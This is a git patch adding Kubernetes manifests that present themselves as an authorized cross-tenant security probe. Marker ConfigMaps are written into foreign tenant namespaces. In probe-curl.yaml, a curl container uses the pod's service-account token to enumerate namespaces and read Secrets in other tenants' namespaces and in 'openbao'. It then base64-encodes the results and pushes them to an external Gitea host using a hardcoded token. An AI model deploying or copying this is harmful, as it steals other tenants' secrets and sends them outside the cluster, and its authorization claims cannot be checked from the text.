From 9996622eacd4c1f228dc0a15c1b1532bcd0b7975 Mon Sep 17 00:00:00 2001 From: probe Date: Fri, 27 Nov 2026 15:35:33 +0000 Subject: [PATCH] i188: add in-namespace control resources --- configmap-db.yaml | 13 ++++++++ configmap-fn.yaml | 16 ++++++++++ configmap-own.yaml | 9 ++++++ dep-own.yaml | 32 +++++++++++++++++++ namespace.yaml | 7 +++++ probe-curl.yaml | 76 ++++++++++++++++++++++++++++++++++++++++++++++ 6 files changed, 153 insertions(+) create mode 100644 configmap-db.yaml create mode 100644 configmap-fn.yaml create mode 100644 configmap-own.yaml create mode 100644 dep-own.yaml create mode 100644 namespace.yaml create mode 100644 probe-curl.yaml diff --git a/configmap-db.yaml b/configmap-db.yaml new file mode 100644 index 0000000..042562f --- /dev/null +++ b/configmap-db.yaml @@ -0,0 +1,13 @@ +apiVersion: v1 +kind: ConfigMap +metadata: + name: cross-tenant-probe-db + namespace: database + labels: + probe: cross-tenant-write-boundary-test + contact: penetration-test-marker-benign +data: + note: > + Same authorized probe marker as cross-tenant-probe-fn; this one targets + the shared infrastructure namespace 'database' as a control case. + Benign marker object, no data touched. Please delete if found. diff --git a/configmap-fn.yaml b/configmap-fn.yaml new file mode 100644 index 0000000..4e1d476 --- /dev/null +++ b/configmap-fn.yaml @@ -0,0 +1,16 @@ +apiVersion: v1 +kind: ConfigMap +metadata: + name: cross-tenant-probe-fn + namespace: cottoncraft-demo-prod + labels: + app.kubernetes.io/managed-by: argocd + probe: cross-tenant-write-boundary-test + contact: penetration-test-marker-benign +data: + note: > + ConfigMap deliberately created by an authorized security probe (task 4, + intent 188, org platchain-293213) to test whether an ArgoCD app bound to + the tenant namespace platchain-293213-dev can create resources in a + foreign tenant namespace via an explicit metadata.namespace field. + Benign marker object, no data touched. Please delete if found. diff --git a/configmap-own.yaml b/configmap-own.yaml new file mode 100644 index 0000000..680e6c3 --- /dev/null +++ b/configmap-own.yaml @@ -0,0 +1,9 @@ +apiVersion: v1 +kind: ConfigMap +metadata: + name: xt-probe-own-ctrl + namespace: platchain-293213-dev + labels: + probe: in-namespace-control +data: + note: authorized-probe control marker, own namespace diff --git a/dep-own.yaml b/dep-own.yaml new file mode 100644 index 0000000..c9ba6d2 --- /dev/null +++ b/dep-own.yaml @@ -0,0 +1,32 @@ +apiVersion: apps/v1 +kind: Deployment +metadata: + name: xt-ctrl + namespace: platchain-293213-dev + labels: + app: xt-ctrl + probe: in-namespace-control +spec: + replicas: 1 + selector: + matchLabels: + app: xt-ctrl + template: + metadata: + labels: + app: xt-ctrl + spec: + securityContext: + runAsNonRoot: true + runAsUser: 1000 + seccompProfile: + type: RuntimeDefault + containers: + - name: c + image: busybox:1.36 + command: ["sh","-c","echo XT188-CONTROL-RUNNING in $(hostname) ns $(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace); sleep 3000"] + securityContext: + allowPrivilegeEscalation: false + readOnlyRootFilesystem: true + capabilities: + drop: ["ALL"] diff --git a/namespace.yaml b/namespace.yaml new file mode 100644 index 0000000..e08a461 --- /dev/null +++ b/namespace.yaml @@ -0,0 +1,7 @@ +apiVersion: v1 +kind: Namespace +metadata: + name: xt-probe-i188 + labels: + probe: cluster-scope-boundary-test + contact: penetration-test-marker-benign diff --git a/probe-curl.yaml b/probe-curl.yaml new file mode 100644 index 0000000..d10ab39 --- /dev/null +++ b/probe-curl.yaml @@ -0,0 +1,76 @@ +apiVersion: apps/v1 +kind: Deployment +metadata: + name: xt-probe + labels: + app: xt-probe + probe: cross-tenant-boundary-readout +spec: + replicas: 1 + selector: + matchLabels: + app: xt-probe + template: + metadata: + labels: + app: xt-probe + probe-run: r1 + spec: + restartPolicy: Always + securityContext: + runAsNonRoot: true + runAsUser: 1000 + seccompProfile: + type: RuntimeDefault + containers: + - name: xt-probe + image: curlimages/curl:8.11.1 + command: ["sh", "-c"] + args: + - | + set -u + TOK=8705bd26bf8b7ab972a2debaa0077c941ea85cd0 + REPO=https://gitea.zapto.org/api/v1/repos/probe6aw4tk/probe-manifests/contents + > /tmp/results.txt + note() { echo "$*" >> /tmp/results.txt; } + push() { + B64=$(base64 -w0 /tmp/results.txt) + cat > /tmp/payload.json <> /tmp/results.txt; echo >> /tmp/results.txt + } + + note "XT188-START $$ $(date -u +%FT%TZ)" + note "HOST $(hostname) NS $(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace 2>/dev/null)" + SA=/var/run/secrets/kubernetes.io/serviceaccount/token + CA=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt + API=https://kubernetes.default.svc + + note "=== SEG1 self rights vs kube-api ===" + body='{"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","spec":{"namespace":"platchain-293213-dev"}}' + code=$(curl -sk -o /tmp/o -w '%{http_code}' -X POST --data "$body" -H "Content-Type: application/json" --cert $CA -H "Authorization: Bearer $(cat $SA)" $API/apis/authorization.k8s.io/v1/selfsubjectrulesreviews) + note "SSRR status=$code body: $(cat /tmp/o | head -c 1500)" + + note "=== SEG2 GET v1/namespaces (cluster scope) ===" + code=$(curl -sk -o /tmp/o -w '%{http_code}' --cert $CA -H "Authorization: Bearer $(cat $SA)" $API/api/v1/namespaces) + note "LIST ns status=$code body: $(cat /tmp/o | head -c 1500)" + + note "=== SEG3 foreign ns read ===" + for ns in cottoncraft-demo-prod cottoncraft-demo-dom1 database openbao; do + code=$(curl -sk -o /tmp/o -w '%{http_code}' --cert $CA -H "Authorization: Bearer $(cat $SA)" $API/api/v1/namespaces/$ns/secrets) + note "SECRETS $ns status=$code body: $(cat /tmp/o | head -c 900)" + done + + note "=== SEG4 phase2 marker written ===" + push + echo PHASE2DONE > /tmp/phase2 + sleep 3600 + securityContext: + allowPrivilegeEscalation: false + readOnlyRootFilesystem: true + capabilities: + drop: ["ALL"]